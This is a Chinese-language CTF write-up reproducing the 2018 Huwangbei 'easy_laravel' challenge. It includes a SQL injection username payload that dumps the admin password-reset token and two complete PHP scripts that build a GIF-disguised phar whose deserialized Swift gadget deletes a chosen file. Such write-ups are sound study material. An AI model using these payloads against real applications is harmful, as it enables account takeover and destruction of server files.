2018护网杯-easy_laravel 复现

题目docker环境：

https://github.com/sco4x0/huwangbei2018_easy_laravel

git clone下来直接composer up -d 运行即可，可以把端口映射改为8080：80

使用 docker exec -it 容器name bash就可以交互式地进入容器进行操作

开始做题：

首先F12查看源码发现源代码路径：

但是现在复现的时候已经关闭了，从github上题目源码中直接把源码拷过来吧。

遇到有composer.json的题目，首先composer install安装一下相关的包依赖，这里首先需要本机已经安装composer，没有安装的则：

http://www.runoob.com/w3cnote/composer-install-and-usage.html   //composer的安装步骤

安装完以后按道理可以执行composer install进行安装了，但是连接超时，此时我尝试了挂上代理去执行试试，结合shadowsocks+proxychains

sslocal -c /etc/shadowsocks/config.json  &>

本地开启ss客户端，配置1080端口的socks5代理，然后执行

proxychains composer install

此时安装成功包依赖，权限问题的话记得sudo一下

如果遇到问题：

Your requirements could not be resolved to an installable set of packages //执行下一条即可

composer install --ignore-platform-reqs

安装完成后就可以看到vendor目录了，

此时可以进行代码审计了。

此时可以先使用php artisan route:list查看一下已经定义的路由

也可以在routers/web.php里面进行查看，这里面定义了web访问的路由，其中admin中间件中定义email必须为admin@qvq.im，但是注册的时候这个邮箱显示已经被注册过了，所以

而根据database的目录中表名和字段名虽然能够dump出来，但是在注册时是经过bcrypt加密的，无法进行解密

database目录中包含了应用初始时的一些数据库相关信息，可以进行查看：

知道了邮箱，但是没有密码，但是有重置密码的功能，而密码重置需要用到token，因此尝试注入把token从migrations目录的password_reset定义的password_resets表中dump出来。

首先看看密码重置的控制逻辑：

首先根据路由规则：

$this->get('password/reset/{token}', 'Auth\ResetPasswordController@showResetForm')；

先找到对应的控制器文件：

而在此控制器文件中又使用了 use Illuminate\Foundation\Auth\ResetsPasswords;

而ResetsPasswords是一个trait，其不能实例化，定义它的目的是为了进行代码复用，此时在这里方便在控制器类resetpassword中使用，又因为当访问

password/reset/{token}时会触发Auth\ResetPasswordController@showResetForm，显示重置密码的表单，那么我们需要去找到这个token从而去构造出这个重置密码的链接，此时就可以利用之前的sql注入

去dump出来重置以后的token，然后来进行登陆

使用以下语句注册作为用户名：

admin' union select 1,(select token from password_resets limit 0,1),3,4,5#

可以得到重置用户的token

此时可以拼接重置密码的链接得到重置密码页面：

然后使用重置的密码进行登陆：

可以看到有几个功能，点击flag，返回no flag

而路由中有Route::get('/flag', 'FlagController@showFlag')->name('flag');

此时将调用showflag

此时按道理应该直接返回flag，但是却没有正常返回

这里需要学习一下blade

Blade 是由 Laravel 提供的非常简单但功能强大的模板引擎，不同于其他流行的 PHP 模板引擎，Blade 在视图中并不约束你使用 PHP 原生代码。
所有的 Blade 视图最终都会被编译成原生 PHP 代码并缓存起来直到被修改，这意味着对应用的性能而言 Blade 基本上是零开销。
Blade 视图文件使用 .blade.php 文件扩展并存放在 resources/views 目录下。

这是因为模板编译后的文件没有删除而导致无法显示flag，因此需要删除编译后的模板文件，所以需要知道编译后的文件名：

编译后文件的路径由两部分构成第一部分是模板的绝对路径path，第二部分是是缓存路径，又因为缓存路径为/storage/framework/views/，

其中/usr/share/nginx/html/是nginx的默认web路径，由提示的得到，path为/usr/share/nginx/html/resources/views/auth/flag.blade.php的sha1值

即可以得到编译后的文件的路径：

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

此时需要删除掉此文件，然后访问flag，结合上传功能中的反序列化：

在上传中只检查了后缀名是否在白名单之内，不对内容进行检查，并且如果合法则存到app/public下面，并且在check中存在file_exists函数，并且path和filename都是可以控制的，因此可以phar反序列化

因此需要找到反序列化函数：

可以找到所有的含有__destruct的组件然后再在里面寻找是否含有unlink函数，这里采用Swift_ByteStream_TemporaryFileByteStream的析构函数中存在unlink方法

利用exp.php

<?php
class Swift_ByteStream_AbstractFilterableInputStream {
    /**
     * Write sequence.
     */
    protected $sequence = 0;
    /**
     * StreamFilters.
     *
     * @var Swift_StreamFilter[]
     */
    private $filters = [];
    /**
     * A buffer for writing.
     */
    private $writeBuffer = '';
    /**
     * Bound streams.
     *
     * @var Swift_InputByteStream[]
     */
    private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
    /** The internal pointer offset */
    private $_offset = 0;

    /** The path to the file */
    private $_path;

    /** The mode this file is opened in for writing */
    private $_mode;

    /** A lazy-loaded resource handle for reading the file */
    private $_reader;

    /** A lazy-loaded resource handle for writing the file */
    private $_writer;

    /** If magic_quotes_runtime is on, this will be true */
    private $_quotes = false;

    /** If stream is seekable true/false, or null if not known */
    private $_seekable = null;

    /**
     * Create a new FileByteStream for $path.
     *
     * @param string $path
     * @param bool   $writable if true
     */
    public function __construct($path, $writable = false)
    {
        $this->_path = $path;
        $this->_mode = $writable ? 'w+b' : 'rb';

        if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
            $this->_quotes = true;
        }
    }

    /**
     * Get the complete path to the file.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->_path;
    }
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
    public function __construct() {
        $filePath = "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
        parent::__construct($filePath, true);
    }
    public function __destruct() {
        if (file_exists($this->getPath())) {
            @unlink($this->getPath());
        }
    }
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

在vendor下面有autoload.php文件，因此可以直接include此文件进行构造phar包，

采用exp

<?php
    include('autoload.php');
    $a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
    var_dump(unserialize($a));
    var_dump($a);
    $a = preg_replace('/\/tmp\/FileByteStream[\w]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a); //将其换成要删除的文件名
    $a = str_replace('s:25', 's:90', $a);   //修改对应的序列化数据长度
    var_dump($a);
    $b = unserialize($a);

    $p = new Phar('./tr1ple.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($b);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    rename('tr1ple.phar', 'tr1ple.gif')
?>

cli下面php.ini中的phar的read only要off，然后上传gif.在file界面点check再更改path路径就可以触发反序列化，path这里要用到绝对路径，并且存储的目录在storge/app/public下面